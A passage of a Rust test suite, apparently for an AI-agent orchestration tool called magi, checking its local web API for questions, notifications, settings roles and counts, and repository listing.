12639        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12640        assert_eq!(list[0]["can_consult_chat"], true);
12641        fx.questions()
12642            .update(&id, |q| {
12643                q.node = crate::bump::NOTICE_NODE.into();
12644                Ok(())
12645            })
12646            .unwrap();
12647        let list = fx.get("/api/questions").await.json();
12648        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12649        assert_eq!(list[0]["can_consult_chat"], false);
12650    }
12651
12652    #[tokio::test]
12653    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12654        let fx = Fixture::start().await;
12655        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12656        fx.questions()
12657            .update(&id, |q| {
12658                q.node = crate::land::APPROVAL_NODE.into();
12659                q.choices = vec!["merge".into(), "hold".into()];
12660                Ok(())
12661            })
12662            .unwrap();
12663        let cfg = Config {
12664            agents: vec![crate::config::AgentSpec {
12665                id: "mock".to_owned(),
12666                kind: crate::config::AgentKind::Command,
12667                model: None,
12668                command: vec!["true".to_owned()],
12669                extra_args: Vec::new(),
12670                env: Default::default(),
12671                prompt_delivery: None,
12672                max_turn_secs: None,
12673            }],
12674            ..Config::default()
12675        };
12676        // Not a git working tree, so its `magi.toml` is read from disk.
12677        let repo = fx.home.path().join("chat-repo");
12678        std::fs::create_dir_all(&repo).unwrap();
12679        let toml = repo.join("magi.toml");
12680        std::fs::write(&toml, "this is = = not toml").unwrap();
12681        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12682        let mut task = Task::new(
12683            "t".to_owned(),
12684            "Do it".to_owned(),
12685            PathBuf::from("/repo/magi"),
12686            Source::Agent {
12687                run: talk.id.clone(),
12688                node: crate::queue::CHAT_NODE.to_owned(),
12689            },
12690        );
12691        task.start("20260902-000000-beef".to_owned());
12692        fx.queue().put(&mut task).unwrap();
12693
12694        let path = format!("/api/questions/{id}/consult");
12695        let res = fx.post(&path, None).await;
12696        assert!(res.status >= 400, "{}", res.body);
12697        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12698        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12699
12700        std::fs::write(&toml, "").unwrap();
12701        let res = fx.post(&path, None).await;
12702        assert_eq!(res.status, 202, "{}", res.body);
12703        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12704        let q = fx.questions().get(&id).unwrap();
12705        assert!(q.status.open());
12706        assert!(q.answer.is_none());
12707        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12708        assert_eq!(res.json()["can_consult_chat"], true);
12709        let list = fx.get("/api/questions").await.json();
12710        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12711        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12712
12713        let res = fx
12714            .post(
12715                &format!("/api/questions/{id}/answer"),
12716                Some(r#"{"choice":"hold"}"#),
12717            )
12718            .await;
12719        assert_eq!(res.status, 200, "{}", res.body);
12720        assert_eq!(res.json()["answer"]["choice"], "hold");
12721        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12722        assert_eq!(res.json()["can_consult_chat"], false);
12723        assert_eq!(fx.post(&path, None).await.status, 409);
12724
12725        let mut talk = fx.talks().get(&talk.id).unwrap();
12726        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12727        let list = fx.get("/api/questions").await.json();
12728        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12729        assert_eq!(list[0]["origin_chat_closed"], true);
12730        assert_eq!(list[0]["can_consult_chat"], false);
12731
12732        fx.talks().remove(&talk.id).unwrap();
12733        let list = fx.get("/api/questions").await.json();
12734        assert_eq!(list[0]["origin_chat"], Value::Null);
12735        assert_eq!(list[0]["origin_chat_closed"], false);
12736        assert_eq!(list[0]["can_consult_chat"], false);
12737    }
12738
12739    #[tokio::test]
12740    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12741        let fx = Fixture::start().await;
12742        let store = fx.questions();
12743        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12744        store.beat(&id, ask::WaiterKind::Asker);
12745        assert_eq!(
12746            fx.get("/api/health").await.json()["questions_needs_owner"],
12747            1
12748        );
12749
12750        // The owner asks back instead of deciding: the ask bar, the nav badge
12751        // and the title must stop naming this question, because there is
12752        // nothing to decide until the agent answers - `status` alone cannot
12753        // say that, which is the whole reason `questions_needs_owner` exists
12754        // alongside `questions_open`.
12755        let res = fx
12756            .post(
12757                &format!("/api/questions/{id}/say"),
12758                Some(r#"{"body":"why not Postgres?"}"#),
12759            )
12760            .await;
12761        assert_eq!(res.status, 200, "{}", res.body);
12762        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12763        assert_eq!(
12764            fx.get("/api/health").await.json()["questions_needs_owner"],
12765            0,
12766            "waiting on the agent is not waiting on the owner"
12767        );
12768
12769        // `magi ask --thread` replying is what brings the owner count back -
12770        // the same event that would resume the CLI call blocked in `magi
12771        // ask`.
12772        let mut q = store.get(&id).expect("get");
12773        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12774            .expect("reply");
12775        store.put(&mut q).expect("put");
12776        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12777        assert_eq!(
12778            fx.get("/api/health").await.json()["questions_needs_owner"],
12779            1,
12780            "the agent's reply is what should light the banner back up"
12781        );
12782    }
12783
12784    #[tokio::test]
12785    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12786        let fx = Fixture::start().await;
12787        let store = fx.questions();
12788
12789        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12790        let res = fx
12791            .post(
12792                &format!("/api/questions/{empty_id}/say"),
12793                Some(r#"{"body":"   "}"#),
12794            )
12795            .await;
12796        assert_eq!(res.status, 400, "{}", res.body);
12797
12798        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12799        let mut answered = store.get(&answered_id).expect("get");
12800        answered
12801            .answer(Answer::Choice("SQLite".to_owned()))
12802            .expect("answer");
12803        store.put(&mut answered).expect("put");
12804        let res = fx
12805            .post(
12806                &format!("/api/questions/{answered_id}/say"),
12807                Some(r#"{"body":"still there?"}"#),
12808            )
12809            .await;
12810        assert_eq!(res.status, 409, "{}", res.body);
12811
12812        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12813        let mut abandoned = store.get(&abandoned_id).expect("get");
12814        abandoned.abandon("timed out");
12815        store.put(&mut abandoned).expect("put");
12816        let res = fx
12817            .post(
12818                &format!("/api/questions/{abandoned_id}/say"),
12819                Some(r#"{"body":"still there?"}"#),
12820            )
12821            .await;
12822        assert_eq!(res.status, 409, "{}", res.body);
12823    }
12824
12825    #[tokio::test]
12826    async fn an_answer_the_question_does_not_offer_is_refused() {
12827        let fx = Fixture::start().await;
12828        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12829        let path = format!("/api/questions/{id}/answer");
12830
12831        for body in [
12832            r#"{"choice":"Postgres"}"#,
12833            r#"{"text":"whatever you think"}"#,
12834            r#"{"choice":"Redis","text":"both"}"#,
12835            r#"{}"#,
12836        ] {
12837            let res = fx.post(&path, Some(body)).await;
12838            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12839            assert!(res.json()["error"].is_string(), "{}", res.body);
12840        }
12841        // Nothing above may have answered it.
12842        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12843    }
12844
12845    #[tokio::test]
12846    async fn a_free_text_question_takes_text_and_not_a_choice() {
12847        let fx = Fixture::start().await;
12848        let id = ask(&fx, "What should the flag be called?", &[]);
12849        fx.questions().beat(&id, ask::WaiterKind::Asker);
12850        let path = format!("/api/questions/{id}/answer");
12851
12852        assert_eq!(
12853            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12854            400
12855        );
12856        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12857        assert_eq!(res.status, 200, "{}", res.body);
12858        assert_eq!(res.json()["answer"]["text"], "--json");
12859    }
12860
12861    #[tokio::test]
12862    async fn an_unknown_question_is_a_json_404() {
12863        let fx = Fixture::start().await;
12864        let res = fx
12865            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12866            .await;
12867        assert_eq!(res.status, 404, "{}", res.body);
12868        assert!(res.json()["error"].is_string());
12869    }
12870
12871    #[tokio::test]
12872    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12873        let fx = Fixture::start().await;
12874        let questions = Questions::at(fx.home.path().join("questions"));
12875        let store = Notices::at(fx.home.path().join("notifications"));
12876        let mut q = ask::Question::new(
12877            "t1".into(),
12878            "conduct".into(),
12879            "conductor".into(),
12880            "Continue?".into(),
12881            String::new(),
12882            Vec::new(),
12883        );
12884        questions.put(&mut q).unwrap();
12885        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12886        n.covered_by = Some(q.id.clone());
12887        let n = store.raise(n).unwrap();
12888        let listed = fx.get("/api/notifications").await.json();
12889        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12890        questions
12891            .update(&q.id, |q| {
12892                q.abandon("run gone");
12893                Ok(())
12894            })
12895            .unwrap();
12896        let listed = fx.get("/api/notifications").await.json();
12897        assert!(listed["items"][0]["answerable_question"].is_null());
12898        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12899        assert!(
12900            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12901                .unwrap()
12902                .contains("answerable_question")
12903        );
12904    }
12905
12906    #[tokio::test]
12907    async fn notifications_list_read_dismiss_and_health_agree() {
12908        let fx = Fixture::start().await;
12909        let store = Notices::at(fx.home.path().join("notifications"));
12910        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12911        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12912
12913        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12914        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12915
12916        store
12917            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12918            .unwrap();
12919        let health = fx.get("/api/health").await.json();
12920        assert_eq!(health["notifications_unread"], 2);
12921        assert_ne!(
12922            health["notifications_rev"], rev0,
12923            "the badge must move live"
12924        );
12925
12926        let listed = fx.get("/api/notifications").await.json();
12927        assert_eq!(listed["unread"], 2);
12928        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12929        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12930
12931        let read = fx
12932            .post(&format!("/api/notifications/{}/read", a.id), None)
12933            .await;
12934        assert_eq!(read.status, 200, "{}", read.body);
12935        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12936
12937        let gone = fx
12938            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12939            .await;
12940        assert_eq!(gone.status, 200, "{}", gone.body);
12941        let listed = fx.get("/api/notifications").await.json();
12942        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12943        assert_eq!(listed["unread"], 0);
12944
12945        store.raise(Notice::info("x", "again")).unwrap();
12946        let all = fx.post("/api/notifications/read-all", None).await;
12947        assert_eq!(all.status, 200, "{}", all.body);
12948        assert_eq!(all.json()["marked"], 1);
12949        assert_eq!(
12950            fx.get("/api/health").await.json()["notifications_unread"],
12951            0
12952        );
12953
12954        let missing = fx.post("/api/notifications/nope/read", None).await;
12955        assert_eq!(missing.status, 404, "{}", missing.body);
12956        assert!(missing.json()["error"].is_string());
12957    }
12958
12959    /// New work reaches the queue through `magi task add`, a standing talk's
12960    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12961    /// so the compose form and that route are gone. The tests that covered
12962    /// that route's validation went with it, and nothing was left asserting
12963    /// it stays gone — so a re-added handler would silently let the phone
12964    /// file briefs no one validated.
12965    #[tokio::test]
12966    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12967        let f = Fixture::start().await;
12968
12969        let res = f
12970            .post(
12971                "/api/queue",
12972                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12973            )
12974            .await;
12975
12976        assert_eq!(
12977            res.status, 405,
12978            "POST /api/queue must not be a route: {}",
12979            res.body
12980        );
12981        assert!(
12982            f.queue().list().is_empty(),
12983            "a task filed by a route that does not exist must not reach the disk"
12984        );
12985        // The path itself is still served — the Queue view reads it — and the
12986        // per-task controls are untouched by the entry being removed.
12987        assert_eq!(f.get("/api/queue").await.status, 200);
12988    }
12989
12990    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12991    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12992        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12993            .expect("checkout dir");
12994    }
12995
12996    /// Two command agents, so a config needs no real CLI.
12997    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12998
12999    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13000        let tmp = TempDir::new().expect("tempdir");
13001        let repo = tmp.path().join("repo");
13002        std::fs::create_dir_all(&repo).expect("repo dir");
13003        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13004        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13005        if let Some(text) = machine_toml {
13006            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13007            std::fs::write(&machine, text).expect("machine toml");
13008        }
13009        (tmp, repo, machine)
13010    }
13011
13012    async fn settings_checkout(path: &FsPath, text: &str) {
13013        std::fs::create_dir_all(path).unwrap();
13014        std::fs::write(path.join("magi.toml"), text).unwrap();
13015        for args in [
13016            vec!["init", "-b", "main"],
13017            vec!["add", "magi.toml"],
13018            vec![
13019                "-c",
13020                "user.name=Test",
13021                "-c",
13022                "user.email=test@example.invalid",
13023                "commit",
13024                "-m",
13025                "fixture",
13026            ],
13027            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13028            vec![
13029                "symbolic-ref",
13030                "refs/remotes/origin/HEAD",
13031                "refs/remotes/origin/main",
13032            ],
13033        ] {
13034            crate::git::git(path, &args).await.unwrap();
13035        }
13036    }
13037
13038    #[tokio::test]
13039    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13040        let (tmp, repo, machine) =
13041            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13042        let root = tmp.path().join("roots");
13043        let selected = root.join("host/owner/selected");
13044        settings_checkout(
13045            &selected,
13046            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13047        )
13048        .await;
13049        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13050        let before = std::fs::read(&machine).unwrap();
13051        let ui = Arc::new(
13052            Ui::new(
13053                Queue::at(tmp.path().join("queue")),
13054                Questions::at(tmp.path().join("questions")),
13055                Talks::at(tmp.path().join("talks")),
13056                tmp.path().join("runs"),
13057                tmp.path().to_path_buf(),
13058                repo.clone(),
13059            )
13060            .with_machine_config(Some(machine.clone())),
13061        );
13062        let query = || {
13063            Query(SettingsQuery {
13064                repo: Some(selected.clone()),
13065            })
13066        };
13067        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13068        assert!(v.error.is_none(), "{:?}", v.error);
13069        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13070        assert_eq!(conductor.source, "repo");
13071        assert_eq!(
13072            conductor.machine_value,
13073            Some(toml::Value::String("a".into()))
13074        );
13075        assert!(!conductor.editable);
13076        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13077        assert_eq!(
13078            judges.count.as_ref().unwrap().machine_value,
13079            Some(toml::Value::Integer(1))
13080        );
13081        assert!(
13082            !v.roles
13083                .iter()
13084                .find(|r| r.key == "reviewers")
13085                .unwrap()
13086                .editable
13087        );
13088        let unknown = || {
13089            Query(SettingsQuery {
13090                repo: Some(tmp.path().to_path_buf()),
13091            })
13092        };
13093        assert_eq!(
13094            settings_get(State(ui.clone()), unknown())
13095                .await
13096                .unwrap_err()
13097                .status,
13098            StatusCode::UNPROCESSABLE_ENTITY
13099        );
13100        let body = || {
13101            Ok(Json(RolesBody {
13102                revision: v.revision.clone(),
13103                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13104                counts: Default::default(),
13105            }))
13106        };
13107        assert_eq!(
13108            settings_put_roles(State(ui.clone()), unknown(), body())
13109                .await
13110                .unwrap_err()
13111                .status,
13112            StatusCode::UNPROCESSABLE_ENTITY
13113        );
13114        assert_eq!(std::fs::read(&machine).unwrap(), before);
13115        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13116            .await
13117            .unwrap();
13118        assert_eq!(
13119            saved.repo,
13120            selected.canonicalize().unwrap().display().to_string()
13121        );
13122        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13123        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13124        // A cache miss refreshes the stable candidate list exactly for validation.
13125        let fresh = root.join("host/owner/fresh");
13126        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13127        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13128            .await
13129            .unwrap();
13130        assert_eq!(fresh_view.repositories.len(), 3);
13131    }
13132
13133    #[tokio::test]
13134    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13135        let (tmp, repo, machine) = settings_dirs(
13136            "[roles]\nreviewers = [\"a\"]\n",
13137            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13138        );
13139        let root = tmp.path().join("roots");
13140        let selected = root.join("host/owner/selected");
13141        settings_checkout(
13142            &selected,
13143            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13144        )
13145        .await;
13146        let broken = root.join("host/owner/broken");
13147        settings_checkout(&broken, "[roles\nbroken").await;
13148        let machine_text = format!(
13149            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13150            toml::Value::String(root.display().to_string())
13151        );
13152        std::fs::write(&machine, &machine_text).unwrap();
13153        let originals: Vec<_> = [&repo, &selected, &broken]
13154            .iter()
13155            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13156            .collect();
13157        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13158        let default = f.get("/api/settings").await.json();
13159        assert_eq!(
13160            default["repo"],
13161            repo.canonicalize().unwrap().display().to_string()
13162        );
13163        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13164        let query = format!("?repo={}", selected.display());
13165        let res = f.get(&format!("/api/settings{query}")).await;
13166        assert_eq!(res.status, 200, "{}", res.body);
13167        let v = res.json();
13168        assert!(v["error"].is_null(), "{v}");
13169        assert_eq!(v["repositories"], default["repositories"]);
13170        let role = |key: &str| {
13171            v["roles"]
13172                .as_array()
13173                .unwrap()
13174                .iter()
13175                .find(|r| r["key"] == key)
13176                .unwrap()
13177        };
13178        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13179        assert_eq!(role("advisors")["source"], "repo");
13180        assert_eq!(role("advisors")["editable"], false);
13181        assert!(role("advisors")["machine_value"].is_null());
13182        assert_eq!(role("judges")["count"]["value"], 2);
13183        assert_eq!(role("judges")["count"]["machine_value"], 1);
13184        assert_eq!(role("judges")["count"]["source"], "repo");
13185        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13186        assert!(
13187            source.contains("origin/main") && !source.contains("magi/config/"),
13188            "{source}"
13189        );
13190        assert_eq!(
13191            role("reviewers")["editable"],
13192            false,
13193            "default context outside roots must protect its declarations"
13194        );
13195        let body =
13196            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13197        let unknown = format!("?repo={}", tmp.path().display());
13198        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13199        assert_eq!(
13200            f.put(&format!("/api/settings/roles{unknown}"), &body)
13201                .await
13202                .status,
13203            422
13204        );
13205        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13206        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13207            .to_string();
13208        assert_eq!(
13209            f.put(&format!("/api/settings/roles{query}"), &refuse)
13210                .await
13211                .status,
13212            422
13213        );
13214        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13215        assert_eq!(saved.status, 200, "{}", saved.body);
13216        assert_eq!(saved.json()["repo"], v["repo"]);
13217        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13218        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13219        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13220            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13221        }
13222        let error = f
13223            .get(&format!("/api/settings?repo={}", broken.display()))
13224            .await;
13225        assert_eq!(error.status, 200);
13226        assert!(error.json()["error"]["message"].is_string());
13227        assert_eq!(error.json()["repositories"], default["repositories"]);
13228    }
13229
13230    #[tokio::test]
13231    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13232        let (_tmp, repo, machine) =
13233            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13234        let f = Fixture::with_repo_and_machine(repo, machine).await;
13235        let res = f.get("/api/settings").await;
13236        assert_eq!(res.status, 200, "{}", res.body);
13237        let v = res.json();
13238        assert!(v["error"].is_null(), "{v}");
13239        let role = |k: &str| {
13240            v["roles"]
13241                .as_array()
13242                .and_then(|r| r.iter().find(|x| x["key"] == k))
13243                .cloned()
13244                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13245        };
13246        assert_eq!(role("judges")["source"], "machine");
13247        assert_eq!(role("judges")["editable"], true);
13248        assert_eq!(role("implementers")["source"], "default");
13249        let adv = role("advisors");
13250        assert_eq!(adv["fallback"], "judges");
13251        assert!(
13252            adv["seats"]
13253                .as_array()
13254                .is_some_and(|s| s.iter().all(|x| x == "b")),
13255            "{adv}"
13256        );
13257        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13258        assert_eq!(v["agents"][0]["source"], "repo");
13259    }
13260
13261    #[tokio::test]
13262    async fn settings_get_reports_a_config_that_does_not_parse() {
13263        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13264        let f = Fixture::with_repo_and_machine(repo, machine).await;
13265        let res = f.get("/api/settings").await;
13266        assert_eq!(res.status, 200, "{}", res.body);
13267        let v = res.json();
13268        assert!(v["error"]["message"].is_string(), "{v}");
13269        assert!(
13270            v["error"]["path"]
13271                .as_str()
13272                .is_some_and(|p| p.ends_with("magi.toml")),
13273            "{v}"
13274        );
13275        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13276    }
13277
13278    #[tokio::test]
13279    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13280        let (_tmp, repo, machine) = settings_dirs(
13281            SETTINGS_AGENTS,
13282            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13283        );
13284        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13285        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13286        let rev = f.get("/api/settings").await.json()["revision"]
13287            .as_str()
13288            .expect("revision")
13289            .to_owned();
13290        let body = serde_json::json!({
13291            "revision": rev,
13292            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13293        })
13294        .to_string();
13295        let res = f.put("/api/settings/roles", &body).await;
13296        assert_eq!(res.status, 200, "{}", res.body);
13297        let text = std::fs::read_to_string(&machine).expect("machine");
13298        assert_eq!(
13299            text,
13300            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13301        );
13302        assert_eq!(
13303            std::fs::read(repo.join("magi.toml")).expect("read"),
13304            repo_before
13305        );
13306        let again = f.get("/api/settings").await.json();
13307        let judges = again["roles"]
13308            .as_array()
13309            .expect("roles")
13310            .iter()
13311            .find(|r| r["key"] == "judges")
13312            .expect("judges")
13313            .clone();
13314        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13315        // The old revision is now stale.
13316        let stale = f.put("/api/settings/roles", &body).await;
13317        assert_eq!(stale.status, 409, "{}", stale.body);
13318    }
13319
13320    #[tokio::test]
13321    async fn settings_counts_are_reported_and_saved() {
13322        let (_tmp, repo, machine) = settings_dirs(
13323            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13324            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13325        );
13326        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13327        let v = f.get("/api/settings").await.json();
13328        let count = |v: &serde_json::Value, k: &str| {
13329            v["roles"]
13330                .as_array()
13331                .and_then(|r| r.iter().find(|x| x["key"] == k))
13332                .map(|x| x["count"].clone())
13333                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13334        };
13335        let imp = count(&v, "implementers");
13336        assert_eq!(imp["value"], 2);
13337        assert_eq!(imp["source"], "machine");
13338        assert_eq!(imp["file_key"], "candidates");
13339        assert_eq!(imp["roster_len"], 2);
13340        assert_eq!(imp["backups"], 0);
13341        assert_eq!(count(&v, "judges")["source"], "default");
13342        assert_eq!(count(&v, "advisors")["min"], 0);
13343        assert_eq!(count(&v, "reviewers")["editable"], false);
13344        assert!(
13345            count(&v, "reviewers")["locked_reason"]
13346                .as_str()
13347                .is_some_and(|m| m.contains("graph.reviewers"))
13348        );
13349        assert!(count(&v, "fixer").is_null());
13350        let rev = v["revision"].as_str().expect("revision").to_owned();
13351        let body = serde_json::json!({
13352            "revision": rev,
13353            "roles": { "judges": ["b"] },
13354            "counts": { "implementers": 1, "advisors": 0 }
13355        })
13356        .to_string();
13357        let res = f.put("/api/settings/roles", &body).await;
13358        assert_eq!(res.status, 200, "{}", res.body);
13359        let text = std::fs::read_to_string(&machine).expect("machine");
13360        assert_eq!(
13361            text,
13362            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13363        );
13364        let after = f.get("/api/settings").await.json();
13365        assert_eq!(count(&after, "implementers")["value"], 1);
13366        assert_eq!(count(&after, "implementers")["backups"], 1);
13367        assert_eq!(count(&after, "advisors")["value"], 0);
13368        let before = std::fs::read_to_string(&machine).expect("machine");
13369        let rev = after["revision"].as_str().expect("revision").to_owned();
13370        for counts in [
13371            serde_json::json!({ "judges": 0 }),
13372            serde_json::json!({ "judges": "x" }),
13373            serde_json::json!({ "judges": 2.5 }),
13374            serde_json::json!({ "judges": -1 }),
13375            serde_json::json!({ "reviewers": 3 }),
13376            serde_json::json!({ "bogus": 3 }),
13377        ] {
13378            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13379            let res = f.put("/api/settings/roles", &body).await;
13380            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13381            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13382        }
13383    }
13384
13385    #[tokio::test]
13386    async fn settings_put_refuses_without_touching_the_file() {
13387        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13388        let (_tmp, repo, machine) = settings_dirs(
13389            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13390            Some(machine_text),
13391        );
13392        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13393        let rev = f.get("/api/settings").await.json()["revision"]
13394            .as_str()
13395            .expect("revision")
13396            .to_owned();
13397        for roles in [
13398            serde_json::json!({ "judges": ["nope"] }),
13399            serde_json::json!({ "reviewers": ["b"] }),
13400            serde_json::json!({ "bogus": ["a"] }),
13401        ] {
13402            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13403            let res = f.put("/api/settings/roles", &body).await;
13404            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13405            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13406            assert_eq!(
13407                std::fs::read_to_string(&machine).expect("machine"),
13408                machine_text
13409            );
13410        }
13411    }
13412
13413    #[tokio::test]
13414    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13415        let tmp = TempDir::new().expect("tempdir");
13416        let repo = tmp.path().join("repo");
13417        std::fs::create_dir_all(&repo).expect("repo dir");
13418        let root = tmp.path().join("root");
13419        make_checkout(&root, "github.com", "yukimemi", "magi");
13420        std::fs::write(
13421            repo.join("magi.toml"),
13422            format!(
13423                "[repos]\nroots = [{:?}]\n",
13424                root.to_string_lossy().into_owned()
13425            ),
13426        )
13427        .expect("write magi.toml");
13428
13429        let f = Fixture::with_repo(repo).await;
13430        let res = f.get("/api/repos").await;
13431        assert_eq!(res.status, 200, "{}", res.body);
13432        let list = res.json();
13433        let repos = list.as_array().expect("an array");
13434        assert_eq!(repos.len(), 1);
13435        assert_eq!(repos[0]["name"], "yukimemi/magi");
13436        assert!(
13437            repos[0]["path"]
13438                .as_str()
13439                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13440            "{list}"
13441        );
13442    }
13443
13444    #[tokio::test]
13445    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13446        let tmp = TempDir::new().expect("tempdir");
13447        let repo = tmp.path().join("repo");
13448        std::fs::create_dir_all(&repo).expect("repo dir");
13449        let root = tmp.path().join("root");
13450        make_checkout(&root, "github.com", "yukimemi", "magi");
13451        std::fs::write(
13452            repo.join("magi.toml"),
13453            format!(
13454                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13455                root.to_string_lossy().into_owned()
13456            ),
13457        )
13458        .expect("write magi.toml");
13459
